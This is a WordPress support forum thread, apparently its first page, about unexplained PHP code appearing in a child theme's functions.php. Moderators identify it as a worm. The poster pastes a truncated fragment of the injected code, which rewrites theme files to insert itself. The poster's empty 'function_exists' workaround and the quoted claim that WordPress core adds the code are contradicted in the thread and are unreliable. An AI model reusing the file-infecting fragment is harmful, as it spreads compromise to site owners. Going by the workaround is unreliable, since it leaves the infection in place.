Title: Code getting automatically written to Functions.php Last modified: August 20, 2016 --- # Code getting automatically written to Functions.php * Resolved [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/) * I have this weird situation whereby code gets written to my child themes, function. php. * I am using Trim theme by Elegant Themes. I created a child theme. * I then decided to create some functions in functions.php and works fine on my local machine. * However, on uploaded if I activate/de-activate a plugin it causes a HTTP 500. * I then checked the funtions.php file and found that a number of functions got written to it without my doing. * I have removed plugins and stuff but still get it on my live website. * Please, can anybody help me to resolve this? Viewing 15 replies - 1 through 15 (of 21 total) 1 [2](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/page/2/?output_format=md) [→](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/page/2/?output_format=md) * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872241) * Here is one of the functions * ``` ") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f); $output .= ($showfullstop && $ellipsis) ? "..." : ""; } } } } return $output; } ``` * [popper](https://wordpress.org/support/users/julialasarte/) * (@julialasarte) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872242) * Hi, there. That’s a worm infecting your themes files.You need to start working your way through these resources: [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked) [http://wordpress.org/support/topic/268083#post-1065779](http://wordpress.org/support/topic/268083#post-1065779) [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/) [http://ottopress.com/2009/hacked-wordpress-backdoors/](http://ottopress.com/2009/hacked-wordpress-backdoors/) Additional Resources: [http://sitecheck.sucuri.net/scanner/](http://sitecheck.sucuri.net/scanner/) [http://www.unmaskparasites.com/](http://www.unmaskparasites.com/) [http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html](http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html) * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872424) * It is not a worm etc. This is a PHP 5.4 issue. I updated my local machine from php 5.3 to 5.4 (as is with my hosting company) and I get these errors. * Can somebody please advise. * Fatal error: Cannot redeclare _checkactive_widget() (previously declared in wp- content\themes\trim-child\functions.php:12) in themes\Trim\functions.php on line 356 * [esmi](https://wordpress.org/support/users/esmi/) * (@esmi) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872425) * Looks like you cannot re-use _checkactive_widget() in your child theme. I’m sorry but as the parent is a commercial theme, you need to seek further support from the theme’s vendors. [http://www.elegantthemes.com/forum/](http://www.elegantthemes.com/forum/) * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872426) * Hi * I get the SAME thing with ANY theme I use., including twentlyeleven. It is not a theme issue. It is a WP/PHP 5.4 issue. * I have NO plugins installed. * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872427) * MY functions.php file is empty or will only have one or two functions in that I use to have when using php 5.3. i.e. nothing has changed except PHP version. * [esmi](https://wordpress.org/support/users/esmi/) * (@esmi) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872428) * Then popper is correct. Your site has been hacked. * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872429) * So both my local machine (which has nothing on but a “clean” copy of WP no plugins) and my hosting has been hacked? * I have checked for all this and no signs of any hacking. * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872430) * Steps: * 1. Installed xampp-win32-1.8.0-usb-lite-beta13 2. New DB 3. New Copy of WP 4. CReated a child theme (style.css and 1x functions.php (NO CODE) 5. Activated Child theme * bang, and functions.php contains the code above. * * NO PLUGINS installed/activated nothing. * No other themes etc nothing. * You guys still convinced it is a bug? * [esmi](https://wordpress.org/support/users/esmi/) * (@esmi) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872431) * There is absolutely nothing in WordPress core that writes to a theme file. Nor should a theme write anything to one of its own files – let alone to files in other themes. The most likely cause is a worm or virus. and, yes, if your remote server was infected and you then copied something from it to your local server( or vice versa), then both could now be infected. * [popper](https://wordpress.org/support/users/julialasarte/) * (@julialasarte) * [13 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872434) * Yes, this behaves like a worm. Also, the code you posted is pretty wormy. * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 8 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872452) * I went through the pains of trying to figure this all out. * Virus/Worm spoke with ISP etc, NOTHING. * Then I found I just needed to add this line of code to the functions.php file and all is well. * ``` if (!function_exists('_checkactive_widgets')) { // do nothing } ``` * Now, is this definitely not a WordPress issue? * The following is from this link * [http://museumthemes.com/wordpress/fixed-redeclare-checkactivewidgets-error-wordpress-child-themes/](http://museumthemes.com/wordpress/fixed-redeclare-checkactivewidgets-error-wordpress-child-themes/) * “WordPress will add the check for widgets to your functions.php (if it exists) no matter what unless you explicitly tell it not to. If you really wanted to, you could change the permissions of your functions.php and make it read-only, although I don’t know off the top of my head how that might affect the functionality of your theme. If there is no functions.php in your child theme, you don’t need to worry, but if you’re going to add your own custom functions (and, let’s face it, that’s probably 99% of the reason we want to build child themes, right?), you’ll need to add some method for handling WordPress automatically trying to add in the active widgets check. Based on what information they have in the Codex on Child Themes, the most correct way of dealing with this issue is just to say“ if this function exists already, don’t do anything” and that will prevent WordPress from duplicating your code.” * Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/) * (@jdembowski) * Forum Moderator and Brute Squad * [13 years, 8 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872453) * > Then I found I just needed to add this line of code to the functions.php file > and all is well. > … > Now, is this definitely not a WordPress issue? * No, it’s definitively _not_ a WordPress issue. * That’s just good coding practice. You _should_ check if a function exists before you use it especially if it’s not a built in function. * Thread Starter [MCM](https://wordpress.org/support/users/nathmie/) * (@nathmie) * [13 years, 8 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872454) * Site is clean, 3 plugins, 2 themes. I cannot locate a function (SEARCH in all files for _checkactive_widgets ) throughout the website. * Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/) * (@jdembowski) * Forum Moderator and Brute Squad * [13 years, 8 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/#post-2872455) * This conversation sure has gotten derailed. Let’s see if we can bring it back. 😉 * > I have this weird situation whereby code gets written to my child themes, function. > php. * From your posts, it’s not really clear if code is actually being added but _if any files are being updated and it’s not you that’s updating them, then your site is hacked_. Plain and simple, no if, ands, or buts. * See above for [steps to remedy that](http://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp?replies=15#post-2958875). * > I am using Trim theme by Elegant Themes. I created a child theme. * Regarding that link you posted just above: as Esmi indicated you really want to speak to your theme vendor about how to child one of their themes. * [http://www.elegantthemes.com/forum/](http://www.elegantthemes.com/forum/) * [http://codex.wordpress.org/Child_Themes](http://codex.wordpress.org/Child_Themes) * The child theme’s `functions.php` file gets executed _before_ the parent theme does. If you want to use a function from the parent theme then you either need to defined it first (and possibly break he parent theme’s `functions.php` if it’s not prepared for that) or figure out a way to filter that function via a queued up filter or action. * By queuing up the filter or action late enough then it will happen after the parent `functions.php` file is ran and all is right in the world. That’s not a trivial thing to do if you don’t know how, and not all parent themes make that doable. * It looks like you’re trying to use a parent theme function in your child theme from a commercial parent theme. If that’s the case, then use the vendor for support. It’s part of what you paid for. Viewing 15 replies - 1 through 15 (of 21 total) 1 [2](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/page/2/?output_format=md) [→](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/page/2/?output_format=md) The topic ‘Code getting automatically written to Functions.php’ is closed to new replies. ## Tags * [child theme](https://wordpress.org/support/topic-tag/child-theme/) * [HTTP 500](https://wordpress.org/support/topic-tag/http-500/) * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) * 21 replies * 7 participants * Last reply from: [esmi](https://wordpress.org/support/users/esmi/) * Last activity: [12 years, 9 months ago](https://wordpress.org/support/topic/code-getting-automatically-written-to-functionsphp/page/2/#post-2872501) * Status: resolved ## Topics ### Topics with no replies ### Non-support topics ### Resolved topics ### Unresolved topics ### All topics